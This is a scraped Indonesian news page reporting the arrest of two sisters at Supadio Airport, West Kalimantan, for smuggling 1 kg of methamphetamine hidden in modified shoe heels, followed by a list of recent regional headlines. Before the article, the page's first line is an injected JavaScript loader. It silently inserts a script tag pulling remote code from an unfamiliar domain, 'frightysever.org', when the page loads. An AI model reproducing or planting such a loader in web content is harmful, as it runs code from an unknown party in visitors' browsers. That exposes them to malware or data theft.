(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Barat

Sabu 1 Kg dalam Hak Sepatu, Dua Perempuan Ditangkap di Bandara Supadio


KANALKALIMANTAN.COM, PONTIANAK – Dua perempuan kakak beradik MA dan SF ditangkap jajaran Polres Kubu Raya di Bandara Internasional Supadio, Kalimantan Barat.

Mereka tertangkap saat hendak menyelundupkan sabu seberat 1 kilogram yang disimpan di dalam hak sepatu pada 17 Januari 2024 lalu, Kapolres Kubu Raya, AKBP Wahyu Jati Wibowo menjelaskan, penyelundupan sabu tersebut dilakukan dengan modus menyembunyikan di dalam hak sepatu. Sabu tersebut akan dibawa menggunakan pesawat Citilink menuju Surabaya.

Ketika digeledah, petugas menemukan sabu tersebut dikemas dalam 12 paket plastik bening yang disimpan di dalam hak sepatu yang telah dimodifikasi.

Baca juga: Dua Bulan 18 Kasus Narkoba, 164 Gram Sabu Dimusnahkan

“Pergi pada 17 Januari 2024. Modus operasi mereka adalah menyimpan sabu di hak sepatu keduanya,” kata AKBP Wahyu, saat pers rilis, Rabu (24/1/2024) siang.

AKBP Wahyu menjelaskan, pengungkapan dilakukan setelah tim Satresnarkoba Polres Kubu Raya menyelidiki selama beberapa hari. Kedua kurir ini sudah menjadi target operasi kepolisian.

“Ketika keduanya berada di bandara dan mencoba membawa sabu ke Surabaya, tim gabungan berhasil menggagalkan upaya penyelundupan tersebut,” ujarnya.

Baca juga: Siaga Banjir, BPBD Banjarbaru Pantau Sungai dari CCTV

Kapolres Kubu Raya menyampaikan, kedua perempuan mengakui bahwa narkoba jenis sabu tersebut dimiliki oleh seorang lelaki inisial IL, warga Kecamatan Pontianak Utara.

Kedua emak-emak ini nekat menjadi kurir karena alasan kebutuhan ekonomi dan tergiur oleh upah sebesar Rp10 juta yang dijanjikan oleh IL.

“Dari hasil pemeriksaan, MA dan SF sudah menerima uang sebesar Rp3 juta dari IL melalui transfer bank, dan sisanya akan dilunasi setelah sabu berhasil sampai di Surabaya,” ungkap Wahyu.

Baca juga: Perlancar Aktivitas Warga Tiga Daerah, Jembatan Sahbirin Noor Diresmikan

Kedua pelaku dijerat pasal 114 ayat 2 dan pasal 112 ayat 2 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. Mereka diancam hukuman penjara antara enam hingga 20 tahun serta denda sebesar Rp 10 miliar. (Beritasatu.com/kk)

Editor : kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.